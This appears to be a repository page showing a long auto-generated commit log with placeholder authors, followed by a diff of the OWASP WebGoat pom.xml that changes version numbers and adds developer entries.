Wed May 14 00:06:15 UTC 2025: Commit 3 by <adwsuthor8@example.com>
Wed May 14 00:09:02 UTC 2025: Commit 4 by DWSAuthor
Wed May 14 00:11:49 UTC 2025: Commit 5 by Six
Wed May 14 00:14:35 UTC 2025: Commit 6 by <autdwshor6@example.com>
Wed May 14 00:17:22 UTC 2025: Commit 7 by Author
Wed May 14 00:20:09 UTC 2025: Commit 8 by Two
Wed May 14 00:22:55 UTC 2025: Commit 9 by <author2@example.com>
Wed May 14 00:25:42 UTC 2025: Commit 10 by DWSAuthor
Wed May 14 00:28:29 UTC 2025: Commit 11 by Ten
Wed May 14 00:31:15 UTC 2025: Commit 12 by <autdwshor10@example.com>
Wed May 14 03:00:43 UTC 2025: Commit 1 by DWSAuthor
Wed May 14 03:03:30 UTC 2025: Commit 2 by Nine
Wed May 14 03:06:17 UTC 2025: Commit 3 by <autdwshor9@example.com>
Wed May 14 03:09:03 UTC 2025: Commit 4 by Author
Wed May 14 03:11:50 UTC 2025: Commit 5 by One
Wed May 14 03:14:37 UTC 2025: Commit 6 by <author1@example.com>
Wed May 14 03:17:23 UTC 2025: Commit 7 by DWSAuthor
Wed May 14 03:20:10 UTC 2025: Commit 8 by Four
Wed May 14 03:22:56 UTC 2025: Commit 9 by <autdwshor4@example.com>
Wed May 14 03:25:43 UTC 2025: Commit 10 by DWSAuthor
Wed May 14 03:28:30 UTC 2025: Commit 11 by Six
Wed May 14 03:31:16 UTC 2025: Commit 12 by <autdwshor6@example.com>
Wed May 14 06:00:42 UTC 2025: Commit 1 by DWSAuthor
Wed May 14 06:03:29 UTC 2025: Commit 2 by Six
Wed May 14 06:06:16 UTC 2025: Commit 3 by <autdwshor6@example.com>
Wed May 14 06:09:02 UTC 2025: Commit 4 by Author
Wed May 14 06:11:49 UTC 2025: Commit 5 by Three
Wed May 14 06:14:36 UTC 2025: Commit 6 by <author3@example.com>
Wed May 14 06:17:22 UTC 2025: Commit 7 by DWSAuthor
Wed May 14 06:20:09 UTC 2025: Commit 8 by Eight
Wed May 14 06:22:56 UTC 2025: Commit 9 by <adwsuthor8@example.com>
Wed May 14 06:25:42 UTC 2025: Commit 10 by Author
Wed May 14 06:28:29 UTC 2025: Commit 11 by One
Wed May 14 06:31:16 UTC 2025: Commit 12 by <author1@example.com>
Wed May 14 09:00:43 UTC 2025: Commit 1 by Author
Wed May 14 09:03:30 UTC 2025: Commit 2 by Two
Wed May 14 09:06:16 UTC 2025: Commit 3 by <author2@example.com>
Wed May 14 09:09:03 UTC 2025: Commit 4 by Author
Wed May 14 09:11:50 UTC 2025: Commit 5 by Four
Wed May 14 09:14:36 UTC 2025: Commit 6 by <author4@example.com>
Wed May 14 09:17:23 UTC 2025: Commit 7 by Author
Wed May 14 09:20:09 UTC 2025: Commit 8 by Seven
Wed May 14 09:22:56 UTC 2025: Commit 9 by <author7@example.com>
Wed May 14 09:25:43 UTC 2025: Commit 10 by DWSAuthor
Wed May 14 09:28:29 UTC 2025: Commit 11 by Five
Wed May 14 09:31:16 UTC 2025: Commit 12 by <autdwshor5@example.com>
Wed May 14 12:00:42 UTC 2025: Commit 1 by DWSAuthor
Wed May 14 12:03:29 UTC 2025: Commit 2 by Three
Wed May 14 12:06:16 UTC 2025: Commit 3 by <dwsauthor3@example.com>
Wed May 14 12:09:02 UTC 2025: Commit 4 by Author
Wed May 14 12:11:49 UTC 2025: Commit 5 by Two
Wed May 14 12:14:36 UTC 2025: Commit 6 by <author2@example.com>
Wed May 14 12:17:22 UTC 2025: Commit 7 by DWSAuthor
Wed May 14 12:20:09 UTC 2025: Commit 8 by Five
Wed May 14 12:22:56 UTC 2025: Commit 9 by <autdwshor5@example.com>
Wed May 14 12:25:42 UTC 2025: Commit 10 by DWSAuthor
Wed May 14 12:28:29 UTC 2025: Commit 11 by Seven
Wed May 14 12:31:16 UTC 2025: Commit 12 by <adwsuthor7@example.com>
Wed May 14 15:00:42 UTC 2025: Commit 1 by DWSAuthor
Wed May 14 15:03:29 UTC 2025: Commit 2 by Ten
Wed May 14 15:06:15 UTC 2025: Commit 3 by <autdwshor10@example.com>
Wed May 14 15:09:02 UTC 2025: Commit 4 by DWSAuthor
Wed May 14 15:11:49 UTC 2025: Commit 5 by Five
Wed May 14 15:14:35 UTC 2025: Commit 6 by <autdwshor5@example.com>
Wed May 14 15:17:22 UTC 2025: Commit 7 by DWSAuthor
Wed May 14 15:20:09 UTC 2025: Commit 8 by One
Wed May 14 15:22:55 UTC 2025: Commit 9 by <dwsauthor1@example.com>
Wed May 14 15:25:42 UTC 2025: Commit 10 by Author
Wed May 14 15:28:29 UTC 2025: Commit 11 by One
Wed May 14 15:31:15 UTC 2025: Commit 12 by <author1@example.com>
Wed May 14 18:00:42 UTC 2025: Commit 1 by DWSAuthor
Wed May 14 18:03:29 UTC 2025: Commit 2 by Six
Wed May 14 18:06:16 UTC 2025: Commit 3 by <autdwshor6@example.com>
Wed May 14 18:09:02 UTC 2025: Commit 4 by Author
Wed May 14 18:11:49 UTC 2025: Commit 5 by Three
Wed May 14 18:14:35 UTC 2025: Commit 6 by <author3@example.com>
Wed May 14 18:17:22 UTC 2025: Commit 7 by DWSAuthor
Wed May 14 18:20:09 UTC 2025: Commit 8 by One
Wed May 14 18:22:55 UTC 2025: Commit 9 by <dwsauthor1@example.com>
Wed May 14 18:25:42 UTC 2025: Commit 10 by Author
Wed May 14 18:28:29 UTC 2025: Commit 11 by Seven
Wed May 14 18:31:15 UTC 2025: Commit 12 by <author7@example.com>
Wed May 14 21:00:43 UTC 2025: Commit 1 by Author
Wed May 14 21:03:29 UTC 2025: Commit 2 by Two
Wed May 14 21:06:16 UTC 2025: Commit 3 by <author2@example.com>
Wed May 14 21:09:03 UTC 2025: Commit 4 by DWSAuthor
Wed May 14 21:11:49 UTC 2025: Commit 5 by Eight
Wed May 14 21:14:36 UTC 2025: Commit 6 by <adwsuthor8@example.com>
Wed May 14 21:17:23 UTC 2025: Commit 7 by Author
Wed May 14 21:20:09 UTC 2025: Commit 8 by Five
Wed May 14 21:22:56 UTC 2025: Commit 9 by <author5@example.com>
Wed May 14 21:25:43 UTC 2025: Commit 10 by DWSAuthor
Wed May 14 21:28:29 UTC 2025: Commit 11 by Four
Wed May 14 21:31:16 UTC 2025: Commit 12 by <autdwshor4@example.com>
Thu May 15 00:00:43 UTC 2025: Commit 1 by DWSAuthor
Thu May 15 00:03:29 UTC 2025: Commit 2 by Three
Thu May 15 00:06:16 UTC 2025: Commit 3 by <dwsauthor3@example.com>
Thu May 15 00:09:03 UTC 2025: Commit 4 by Author
Thu May 15 00:11:49 UTC 2025: Commit 5 by Six
Thu May 15 00:14:36 UTC 2025: Commit 6 by <author6@example.com>
Thu May 15 00:17:23 UTC 2025: Commit 7 by Author
Thu May 15 00:20:09 UTC 2025: Commit 8 by Eight
Thu May 15 00:22:56 UTC 2025: Commit 9 by <author8@example.com>
Thu May 15 00:25:43 UTC 2025: Commit 10 by Author
Thu May 15 00:28:29 UTC 2025: Commit 11 by Four
Thu May 15 00:31:16 UTC 2025: Commit 12 by <author4@example.com>
Thu May 15 03:00:42 UTC 2025: Commit 1 by DWSAuthor
Thu May 15 03:03:29 UTC 2025: Commit 2 by Eight
Thu May 15 03:06:16 UTC 2025: Commit 3 by <adwsuthor8@example.com>
Thu May 15 03:09:02 UTC 2025: Commit 4 by Author
Thu May 15 03:11:49 UTC 2025: Commit 5 by Nine
Thu May 15 03:14:36 UTC 2025: Commit 6 by <author9@example.com>
Thu May 15 03:17:22 UTC 2025: Commit 7 by DWSAuthor
Thu May 15 03:20:09 UTC 2025: Commit 8 by Ten
Thu May 15 03:22:56 UTC 2025: Commit 9 by <autdwshor10@example.com>
Thu May 15 03:25:42 UTC 2025: Commit 10 by Author
Thu May 15 03:28:29 UTC 2025: Commit 11 by Two
Thu May 15 03:31:16 UTC 2025: Commit 12 by <author2@example.com>
Thu May 15 06:00:43 UTC 2025: Commit 1 by DWSAuthor
Thu May 15 06:03:30 UTC 2025: Commit 2 by Five
Thu May 15 06:06:17 UTC 2025: Commit 3 by <autdwshor5@example.com>
Thu May 15 06:09:04 UTC 2025: Commit 4 by DWSAuthor
Thu May 15 06:11:50 UTC 2025: Commit 5 by Eight
Thu May 15 06:14:37 UTC 2025: Commit 6 by <adwsuthor8@example.com>
Thu May 15 06:17:23 UTC 2025: Commit 7 by Author
Thu May 15 06:20:10 UTC 2025: Commit 8 by Two
Thu May 15 06:22:57 UTC 2025: Commit 9 by <author2@example.com>
Thu May 15 06:25:43 UTC 2025: Commit 10 by DWSAuthor
Thu May 15 06:28:30 UTC 2025: Commit 11 by Ten
Thu May 15 06:31:17 UTC 2025: Commit 12 by <autdwshor10@example.com>
Thu May 15 09:00:45 UTC 2025: Commit 1 by DWSAuthor
Thu May 15 09:03:32 UTC 2025: Commit 2 by Five
Thu May 15 09:06:19 UTC 2025: Commit 3 by <autdwshor5@example.com>
Thu May 15 09:09:06 UTC 2025: Commit 4 by DWSAuthor
Thu May 15 09:11:53 UTC 2025: Commit 5 by Three
Thu May 15 09:14:39 UTC 2025: Commit 6 by <dwsauthor3@example.com>
Thu May 15 09:17:26 UTC 2025: Commit 7 by Author
Thu May 15 09:20:13 UTC 2025: Commit 8 by Five
Thu May 15 09:22:59 UTC 2025: Commit 9 by <author5@example.com>
Thu May 15 09:25:46 UTC 2025: Commit 10 by DWSAuthor
Thu May 15 09:28:33 UTC 2025: Commit 11 by Ten
Thu May 15 09:31:20 UTC 2025: Commit 12 by <autdwshor10@example.com>
Thu May 15 12:00:43 UTC 2025: Commit 1 by DWSAuthor
Thu May 15 12:03:30 UTC 2025: Commit 2 by Ten
Thu May 15 12:06:17 UTC 2025: Commit 3 by <autdwshor10@example.com>
Thu May 15 12:09:03 UTC 2025: Commit 4 by Author
Thu May 15 12:11:50 UTC 2025: Commit 5 by Seven
Thu May 15 12:14:37 UTC 2025: Commit 6 by <author7@example.com>
Thu May 15 12:17:23 UTC 2025: Commit 7 by Author
Thu May 15 12:20:10 UTC 2025: Commit 8 by Six
Thu May 15 12:22:57 UTC 2025: Commit 9 by <author6@example.com>
Thu May 15 12:25:43 UTC 2025: Commit 10 by Author
Thu May 15 12:28:30 UTC 2025: Commit 11 by Five
Thu May 15 12:31:17 UTC 2025: Commit 12 by <author5@example.com>
Thu May 15 15:00:43 UTC 2025: Commit 1 by Author
Thu May 15 15:03:30 UTC 2025: Commit 2 by One
Thu May 15 15:06:16 UTC 2025: Commit 3 by <author1@example.com>
Thu May 15 15:09:03 UTC 2025: Commit 4 by DWSAuthor
Thu May 15 15:11:50 UTC 2025: Commit 5 by Three
Thu May 15 15:14:36 UTC 2025: Commit 6 by <dwsauthor3@example.com>
Thu May 15 15:17:23 UTC 2025: Commit 7 by DWSAuthor
Thu May 15 15:20:10 UTC 2025: Commit 8 by Four
Thu May 15 15:22:56 UTC 2025: Commit 9 by <autdwshor4@example.com>
Thu May 15 15:25:43 UTC 2025: Commit 10 by DWSAuthor
Thu May 15 15:28:30 UTC 2025: Commit 11 by Nine
Thu May 15 15:31:16 UTC 2025: Commit 12 by <autdwshor9@example.com>
Thu May 15 18:00:43 UTC 2025: Commit 1 by Author
Thu May 15 18:03:29 UTC 2025: Commit 2 by One
Thu May 15 18:06:16 UTC 2025: Commit 3 by <author1@example.com>
Thu May 15 18:09:03 UTC 2025: Commit 4 by Author
Thu May 15 18:11:49 UTC 2025: Commit 5 by Four
Thu May 15 18:14:36 UTC 2025: Commit 6 by <author4@example.com>
Thu May 15 18:17:23 UTC 2025: Commit 7 by Author
Thu May 15 18:20:09 UTC 2025: Commit 8 by Two
Thu May 15 18:22:56 UTC 2025: Commit 9 by <author2@example.com>
Thu May 15 18:25:43 UTC 2025: Commit 10 by Author
Thu May 15 18:28:29 UTC 2025: Commit 11 by Eight
Thu May 15 18:31:16 UTC 2025: Commit 12 by <author8@example.com>
Thu May 15 21:00:43 UTC 2025: Commit 1 by Author
Thu May 15 21:03:29 UTC 2025: Commit 2 by Seven
Thu May 15 21:06:16 UTC 2025: Commit 3 by <author7@example.com>
Thu May 15 21:09:03 UTC 2025: Commit 4 by DWSAuthor
Thu May 15 21:11:49 UTC 2025: Commit 5 by Two
Thu May 15 21:14:36 UTC 2025: Commit 6 by <dwsauthor2@example.com>
Thu May 15 21:17:23 UTC 2025: Commit 7 by DWSAuthor
Thu May 15 21:20:09 UTC 2025: Commit 8 by One
Thu May 15 21:22:56 UTC 2025: Commit 9 by <dwsauthor1@example.com>
Thu May 15 21:25:43 UTC 2025: Commit 10 by DWSAuthor
Thu May 15 21:28:30 UTC 2025: Commit 11 by Three
Thu May 15 21:31:16 UTC 2025: Commit 12 by <dwsauthor3@example.com>
Fri May 16 00:00:42 UTC 2025: Commit 1 by Author
Fri May 16 00:03:29 UTC 2025: Commit 2 by One
Fri May 16 00:06:16 UTC 2025: Commit 3 by <author1@example.com>
Fri May 16 00:09:03 UTC 2025: Commit 4 by DWSAuthor
Fri May 16 00:11:49 UTC 2025: Commit 5 by Three
Fri May 16 00:14:36 UTC 2025: Commit 6 by <dwsauthor3@example.com>
Fri May 16 00:17:23 UTC 2025: Commit 7 by Author
Fri May 16 00:20:09 UTC 2025: Commit 8 by Nine
Fri May 16 00:22:56 UTC 2025: Commit 9 by <author9@example.com>
Fri May 16 03:00:22 UTC 2025: Commit 1 by Author
Fri May 16 03:03:08 UTC 2025: Commit 2 by Five
Fri May 16 03:05:55 UTC 2025: Commit 3 by <author5@example.com>
Fri May 16 03:08:42 UTC 2025: Commit 4 by Author
Fri May 16 03:11:29 UTC 2025: Commit 5 by One
Fri May 16 03:14:15 UTC 2025: Commit 6 by <author1@example.com>
Fri May 16 03:17:02 UTC 2025: Commit 7 by DWSAuthor
Fri May 16 03:19:49 UTC 2025: Commit 8 by Seven
Fri May 16 03:22:35 UTC 2025: Commit 9 by <adwsuthor7@example.com>
Fri May 16 03:25:22 UTC 2025: Commit 10 by DWSAuthor
Fri May 16 03:28:09 UTC 2025: Commit 11 by Nine
Fri May 16 03:30:55 UTC 2025: Commit 12 by <autdwshor9@example.com>
Fri May 16 06:00:19 UTC 2025: Commit 1 by DWSAuthor
Fri May 16 06:03:05 UTC 2025: Commit 2 by Two
Fri May 16 06:05:52 UTC 2025: Commit 3 by <dwsauthor2@example.com>
Fri May 16 06:08:39 UTC 2025: Commit 4 by Author
Fri May 16 06:11:25 UTC 2025: Commit 5 by Nine
Fri May 16 06:14:12 UTC 2025: Commit 6 by <author9@example.com>
Fri May 16 06:16:59 UTC 2025: Commit 7 by DWSAuthor
Fri May 16 06:19:45 UTC 2025: Commit 8 by Ten
Fri May 16 06:22:32 UTC 2025: Commit 9 by <autdwshor10@example.com>
Fri May 16 06:25:19 UTC 2025: Commit 10 by DWSAuthor
Fri May 16 06:28:05 UTC 2025: Commit 11 by Five
Fri May 16 06:30:52 UTC 2025: Commit 12 by <autdwshor5@example.com>
Fri May 16 09:00:19 UTC 2025: Commit 1 by Author
Fri May 16 09:03:05 UTC 2025: Commit 2 by One
Fri May 16 09:05:52 UTC 2025: Commit 3 by <author1@example.com>
Fri May 16 09:08:39 UTC 2025: Commit 4 by Author
Fri May 16 09:11:26 UTC 2025: Commit 5 by Four
Fri May 16 09:14:13 UTC 2025: Commit 6 by <author4@example.com>
Fri May 16 09:16:59 UTC 2025: Commit 7 by DWSAuthor
Fri May 16 09:19:46 UTC 2025: Commit 8 by Three
Fri May 16 09:22:33 UTC 2025: Commit 9 by <dwsauthor3@example.com>
Fri May 16 09:25:19 UTC 2025: Commit 10 by Author
Fri May 16 09:28:06 UTC 2025: Commit 11 by Nine
Fri May 16 09:30:53 UTC 2025: Commit 12 by <author9@example.com>
Fri May 16 12:00:26 UTC 2025: Commit 1 by Author
Fri May 16 12:03:13 UTC 2025: Commit 2 by Five
Fri May 16 12:05:59 UTC 2025: Commit 3 by <author5@example.com>
Fri May 16 12:08:46 UTC 2025: Commit 4 by DWSAuthor
Fri May 16 12:11:33 UTC 2025: Commit 5 by Six
Fri May 16 12:14:19 UTC 2025: Commit 6 by <autdwshor6@example.com>
Fri May 16 12:17:06 UTC 2025: Commit 7 by Author
Fri May 16 12:19:53 UTC 2025: Commit 8 by Six
Fri May 16 12:22:39 UTC 2025: Commit 9 by <author6@example.com>
Fri May 16 12:25:26 UTC 2025: Commit 10 by DWSAuthor
Fri May 16 12:28:13 UTC 2025: Commit 11 by Two
Fri May 16 12:30:59 UTC 2025: Commit 12 by <dwsauthor2@example.com>
Fri May 16 15:00:18 UTC 2025: Commit 1 by Author
Fri May 16 15:03:05 UTC 2025: Commit 2 by Five
Fri May 16 15:05:52 UTC 2025: Commit 3 by <author5@example.com>
Fri May 16 15:08:38 UTC 2025: Commit 4 by DWSAuthor
Fri May 16 15:11:25 UTC 2025: Commit 5 by One
Fri May 16 15:14:12 UTC 2025: Commit 6 by <dwsauthor1@example.com>
Fri May 16 15:16:58 UTC 2025: Commit 7 by DWSAuthor
Fri May 16 15:19:45 UTC 2025: Commit 8 by Five
Fri May 16 15:22:32 UTC 2025: Commit 9 by <autdwshor5@example.com>
Fri May 16 15:25:18 UTC 2025: Commit 10 by DWSAuthor
Fri May 16 15:28:05 UTC 2025: Commit 11 by Two
Fri May 16 15:30:52 UTC 2025: Commit 12 by <dwsauthor2@example.com>
Fri May 16 18:00:18 UTC 2025: Commit 1 by DWSAuthor
Fri May 16 18:03:05 UTC 2025: Commit 2 by Ten
Fri May 16 18:05:52 UTC 2025: Commit 3 by <autdwshor10@example.com>
Fri May 16 18:08:39 UTC 2025: Commit 4 by Author
Fri May 16 18:11:25 UTC 2025: Commit 5 by One
Fri May 16 18:14:12 UTC 2025: Commit 6 by <author1@example.com>
Fri May 16 18:16:59 UTC 2025: Commit 7 by DWSAuthor
Fri May 16 18:19:45 UTC 2025: Commit 8 by Two
Fri May 16 18:22:32 UTC 2025: Commit 9 by <dwsauthor2@example.com>
Fri May 16 18:25:19 UTC 2025: Commit 10 by Author
Fri May 16 18:28:05 UTC 2025: Commit 11 by Five
Fri May 16 18:30:52 UTC 2025: Commit 12 by <author5@example.com>
Fri May 16 21:00:18 UTC 2025: Commit 1 by Author
Fri May 16 21:03:05 UTC 2025: Commit 2 by Nine
Fri May 16 21:05:52 UTC 2025: Commit 3 by <author9@example.com>
Fri May 16 21:08:39 UTC 2025: Commit 4 by DWSAuthor
Fri May 16 21:11:25 UTC 2025: Commit 5 by Nine
Fri May 16 21:14:12 UTC 2025: Commit 6 by <autdwshor9@example.com>
Fri May 16 21:16:59 UTC 2025: Commit 7 by DWSAuthor
Fri May 16 21:19:45 UTC 2025: Commit 8 by Six
Fri May 16 21:22:32 UTC 2025: Commit 9 by <autdwshor6@example.com>
Fri May 16 21:25:19 UTC 2025: Commit 10 by DWSAuthor
Fri May 16 21:28:05 UTC 2025: Commit 11 by Eight
Fri May 16 21:30:52 UTC 2025: Commit 12 by <adwsuthor8@example.com>
Sat May 17 00:00:18 UTC 2025: Commit 1 by Author
Sat May 17 00:03:04 UTC 2025: Commit 2 by Three
Sat May 17 00:05:51 UTC 2025: Commit 3 by <author3@example.com>
Sat May 17 00:08:38 UTC 2025: Commit 4 by DWSAuthor
Sat May 17 00:11:25 UTC 2025: Commit 5 by Seven
Sat May 17 00:14:11 UTC 2025: Commit 6 by <adwsuthor7@example.com>
Sat May 17 00:16:58 UTC 2025: Commit 7 by DWSAuthor
Sat May 17 12:00:18 UTC 2025: Commit 1 by DWSAuthor
Sat May 17 12:03:05 UTC 2025: Commit 2 by Seven
Sat May 17 12:05:52 UTC 2025: Commit 3 by <adwsuthor7@example.com>
Sun May 18 00:00:22 UTC 2025: Commit 1 by DWSAuthor
Sun May 18 00:03:09 UTC 2025: Commit 2 by Two
Sun May 18 00:05:55 UTC 2025: Commit 3 by <dwsauthor2@example.com>
Sun May 18 12:00:18 UTC 2025: Commit 1 by DWSAuthor
Sun May 18 12:03:05 UTC 2025: Commit 2 by Two
Sun May 18 12:05:52 UTC 2025: Commit 3 by <dwsauthor2@example.com>
Mon May 19 00:00:19 UTC 2025: Commit 1 by Author
Mon May 19 00:03:06 UTC 2025: Commit 2 by Nine
Mon May 19 00:05:53 UTC 2025: Commit 3 by <author9@example.com>
Mon May 19 12:00:18 UTC 2025: Commit 1 by DWSAuthor
Mon May 19 12:03:04 UTC 2025: Commit 2 by Nine
Mon May 19 12:05:51 UTC 2025: Commit 3 by <autdwshor9@example.com>
Tue May 20 00:00:19 UTC 2025: Commit 1 by DWSAuthor
Tue May 20 00:03:05 UTC 2025: Commit 2 by Seven
Tue May 20 00:05:52 UTC 2025: Commit 3 by <adwsuthor7@example.com>
Tue May 20 12:00:20 UTC 2025: Commit 1 by DWSAuthor
Tue May 20 12:03:07 UTC 2025: Commit 2 by Six
Tue May 20 12:05:53 UTC 2025: Commit 3 by <autdwshor6@example.com>
Wed May 21 00:00:18 UTC 2025: Commit 1 by Author
Wed May 21 00:03:05 UTC 2025: Commit 2 by Three
Wed May 21 00:05:52 UTC 2025: Commit 3 by <author3@example.com>
Wed May 21 12:00:19 UTC 2025: Commit 1 by DWSAuthor
Wed May 21 12:03:05 UTC 2025: Commit 2 by Six
Wed May 21 12:05:52 UTC 2025: Commit 3 by <autdwshor6@example.com>
Thu May 22 00:00:18 UTC 2025: Commit 1 by DWSAuthor
Thu May 22 00:03:05 UTC 2025: Commit 2 by Five
Thu May 22 00:05:52 UTC 2025: Commit 3 by <autdwshor5@example.com>
Thu May 22 12:00:18 UTC 2025: Commit 1 by Author
Thu May 22 12:03:05 UTC 2025: Commit 2 by Ten
Thu May 22 12:05:52 UTC 2025: Commit 3 by <author10@example.com>
Fri May 23 00:00:21 UTC 2025: Commit 1 by Author
Fri May 23 00:03:08 UTC 2025: Commit 2 by Five
Fri May 23 00:05:54 UTC 2025: Commit 3 by <author5@example.com>
Fri May 23 12:00:19 UTC 2025: Commit 1 by Author
Fri May 23 12:03:05 UTC 2025: Commit 2 by Ten
Fri May 23 12:05:52 UTC 2025: Commit 3 by <author10@example.com>
Sat May 24 00:00:19 UTC 2025: Commit 1 by Author
Sat May 24 00:03:06 UTC 2025: Commit 2 by Six
Sat May 24 00:05:52 UTC 2025: Commit 3 by <author6@example.com>
Sat May 24 12:00:18 UTC 2025: Commit 1 by Author
Sat May 24 12:03:04 UTC 2025: Commit 2 by Two
Sat May 24 12:05:51 UTC 2025: Commit 3 by <author2@example.com>
Sun May 25 00:00:18 UTC 2025: Commit 1 by Author
Sun May 25 00:03:05 UTC 2025: Commit 2 by Four
Sun May 25 00:05:52 UTC 2025: Commit 3 by <author4@example.com>
Sun May 25 12:00:18 UTC 2025: Commit 1 by Author
Sun May 25 12:03:05 UTC 2025: Commit 2 by Two
Sun May 25 12:05:52 UTC 2025: Commit 3 by <author2@example.com>
Mon May 26 00:00:18 UTC 2025: Commit 1 by Author
Mon May 26 00:03:05 UTC 2025: Commit 2 by Seven
Mon May 26 00:05:52 UTC 2025: Commit 3 by <author7@example.com>
Mon May 26 12:00:18 UTC 2025: Commit 1 by DWSAuthor
Mon May 26 12:03:05 UTC 2025: Commit 2 by Ten
Mon May 26 12:05:52 UTC 2025: Commit 3 by <autdwshor10@example.com>
Tue May 27 00:00:19 UTC 2025: Commit 1 by DWSAuthor
Tue May 27 00:03:05 UTC 2025: Commit 2 by Ten
Tue May 27 00:05:52 UTC 2025: Commit 3 by <autdwshor10@example.com>
Tue May 27 12:00:18 UTC 2025: Commit 1 by Author
Tue May 27 12:03:05 UTC 2025: Commit 2 by Ten
Tue May 27 12:05:52 UTC 2025: Commit 3 by <author10@example.com>
Wed May 28 00:00:29 UTC 2025: Commit 1 by DWSAuthor
Wed May 28 00:03:18 UTC 2025: Commit 2 by Two
Wed May 28 00:06:07 UTC 2025: Commit 3 by <dwsauthor2@example.com>
Wed May 28 12:00:19 UTC 2025: Commit 1 by DWSAuthor
Wed May 28 12:03:06 UTC 2025: Commit 2 by Five
Wed May 28 12:05:52 UTC 2025: Commit 3 by <autdwshor5@example.com>
Thu May 29 00:00:18 UTC 2025: Commit 1 by Author
Thu May 29 00:03:05 UTC 2025: Commit 2 by Nine
Thu May 29 00:05:52 UTC 2025: Commit 3 by <author9@example.com>
Thu May 29 12:00:19 UTC 2025: Commit 1 by Author
Thu May 29 12:03:06 UTC 2025: Commit 2 by Nine
Thu May 29 12:05:53 UTC 2025: Commit 3 by <author9@example.com>
Fri May 30 00:00:18 UTC 2025: Commit 1 by Author
Fri May 30 00:03:05 UTC 2025: Commit 2 by One
Fri May 30 00:05:52 UTC 2025: Commit 3 by <author1@example.com>
Fri May 30 12:00:19 UTC 2025: Commit 1 by Author
Fri May 30 12:03:06 UTC 2025: Commit 2 by Three
Fri May 30 12:06:08 UTC 2025: Commit 3 by <author3@example.com>
Sat May 31 00:00:18 UTC 2025: Commit 1 by Author
Sat May 31 00:03:04 UTC 2025: Commit 2 by Four
Sat May 31 00:05:51 UTC 2025: Commit 3 by <author4@example.com>
Sat May 31 12:00:19 UTC 2025: Commit 1 by DWSAuthor
Sat May 31 12:03:05 UTC 2025: Commit 2 by Ten
Sat May 31 12:05:52 UTC 2025: Commit 3 by <autdwshor10@example.com>
Sun Jun 1 00:00:18 UTC 2025: Commit 1 by Author
Sun Jun 1 00:03:05 UTC 2025: Commit 2 by One
Sun Jun 1 00:05:52 UTC 2025: Commit 3 by <author1@example.com>
Sun Jun 1 12:00:19 UTC 2025: Commit 1 by Author
Sun Jun 1 12:03:06 UTC 2025: Commit 2 by One
Sun Jun 1 12:05:52 UTC 2025: Commit 3 by <author1@example.com>
Mon Jun 2 00:00:19 UTC 2025: Commit 1 by Author
Mon Jun 2 00:03:06 UTC 2025: Commit 2 by Ten
Mon Jun 2 00:05:52 UTC 2025: Commit 3 by <author10@example.com>
Mon Jun 2 12:00:20 UTC 2025: Commit 1 by DWSAuthor
Mon Jun 2 12:03:07 UTC 2025: Commit 2 by Seven
Mon Jun 2 12:05:54 UTC 2025: Commit 3 by <adwsuthor7@example.com>
Tue Jun 3 00:00:19 UTC 2025: Commit 1 by Author
Tue Jun 3 00:03:06 UTC 2025: Commit 2 by Four
Tue Jun 3 00:05:52 UTC 2025: Commit 3 by <author4@example.com>
Tue Jun 3 12:00:18 UTC 2025: Commit 1 by DWSAuthor
Tue Jun 3 12:03:05 UTC 2025: Commit 2 by Five
Tue Jun 3 12:05:52 UTC 2025: Commit 3 by <autdwshor5@example.com>
Wed Jun 4 00:00:20 UTC 2025: Commit 1 by DWSAuthor
Wed Jun 4 00:03:06 UTC 2025: Commit 2 by Ten
Wed Jun 4 00:05:53 UTC 2025: Commit 3 by <autdwshor10@example.com>
Wed Jun 4 12:00:18 UTC 2025: Commit 1 by DWSAuthor
Wed Jun 4 12:03:05 UTC 2025: Commit 2 by Six
Wed Jun 4 12:05:52 UTC 2025: Commit 3 by <autdwshor6@example.com>
Thu Jun 5 00:00:20 UTC 2025: Commit 1 by DWSAuthor
Thu Jun 5 00:03:07 UTC 2025: Commit 2 by Six
Thu Jun 5 00:05:54 UTC 2025: Commit 3 by <autdwshor6@example.com>
Thu Jun 5 12:00:22 UTC 2025: Commit 1 by DWSAuthor
Thu Jun 5 12:03:09 UTC 2025: Commit 2 by Four
Thu Jun 5 12:05:55 UTC 2025: Commit 3 by <autdwshor4@example.com>
Fri Jun 6 00:00:18 UTC 2025: Commit 1 by Author
Fri Jun 6 00:03:05 UTC 2025: Commit 2 by Seven
Fri Jun 6 00:05:52 UTC 2025: Commit 3 by <author7@example.com>
Fri Jun 6 12:00:19 UTC 2025: Commit 1 by DWSAuthor
Fri Jun 6 12:03:06 UTC 2025: Commit 2 by Five
Fri Jun 6 12:05:53 UTC 2025: Commit 3 by <autdwshor5@example.com>

193
pom.xml
View File

@ -5,12 +5,12 @@
<parent> <parent>
<groupId>org.springframework.boot</groupId> <groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId> <artifactId>spring-boot-starter-parent</artifactId>
<version>3.4.4</version> <version>3.1.5</version>
</parent> </parent>
<groupId>org.owasp.webgoat</groupId> <groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat</artifactId> <artifactId>webgoat</artifactId>
<version>2025.4-SNAPSHOT</version> <version>2023.9-SNAPSHOT</version>
<packaging>jar</packaging> <packaging>jar</packaging>
<name>WebGoat</name> <name>WebGoat</name>
@ -29,6 +29,13 @@
</licenses> </licenses>
<developers> <developers>
<developer>
<id>mayhew64</id>
<name>Bruce Mayhew</name>
<email>webgoat@owasp.org</email>
<organization>OWASP</organization>
<organizationUrl>https://github.com/WebGoat/WebGoat</organizationUrl>
</developer>
<developer> <developer>
<id>nbaars</id> <id>nbaars</id>
<name>Nanne Baars</name> <name>Nanne Baars</name>
@ -36,6 +43,11 @@
<organizationUrl>https://github.com/nbaars</organizationUrl> <organizationUrl>https://github.com/nbaars</organizationUrl>
<timezone>Europe/Amsterdam</timezone> <timezone>Europe/Amsterdam</timezone>
</developer> </developer>
<developer>
<id>misfir3</id>
<name>Jason White</name>
<email>jason.white@owasp.org</email>
</developer>
<developer> <developer>
<id>zubcevic</id> <id>zubcevic</id>
<name>René Zubcevic</name> <name>René Zubcevic</name>
@ -46,8 +58,43 @@
<name>Àngel Ollé Blázquez</name> <name>Àngel Ollé Blázquez</name>
<email>angel@olleb.com</email> <email>angel@olleb.com</email>
</developer> </developer>
<developer>
<id>jwayman</id>
<name>Jeff Wayman</name>
<email></email>
</developer>
<developer>
<id>dcowden</id>
<name>Dave Cowden</name>
<email></email>
</developer>
<developer>
<id>lawson89</id>
<name>Richard Lawson</name>
<email></email>
</developer>
<developer>
<id>dougmorato</id>
<name>Doug Morato</name>
